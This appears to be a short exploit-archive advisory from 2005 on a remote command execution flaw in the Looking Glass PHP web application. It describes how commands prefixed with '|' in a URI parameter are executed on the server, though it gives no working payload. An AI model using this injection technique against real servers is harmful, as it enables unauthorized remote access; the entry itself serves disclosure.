Description: Looking Glass 20040427 - Remote Command Execution
Type: webapps
Platform: php
Date: 2005-08-27
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14682/info

Looking Glass may be exploited to execute arbitrary commands.

An attacker can prefix arbitrary commands with the '|' character, supply them through a URI parameter and have them executed in the context of the server.

This can facilitate unauthorized remote access.
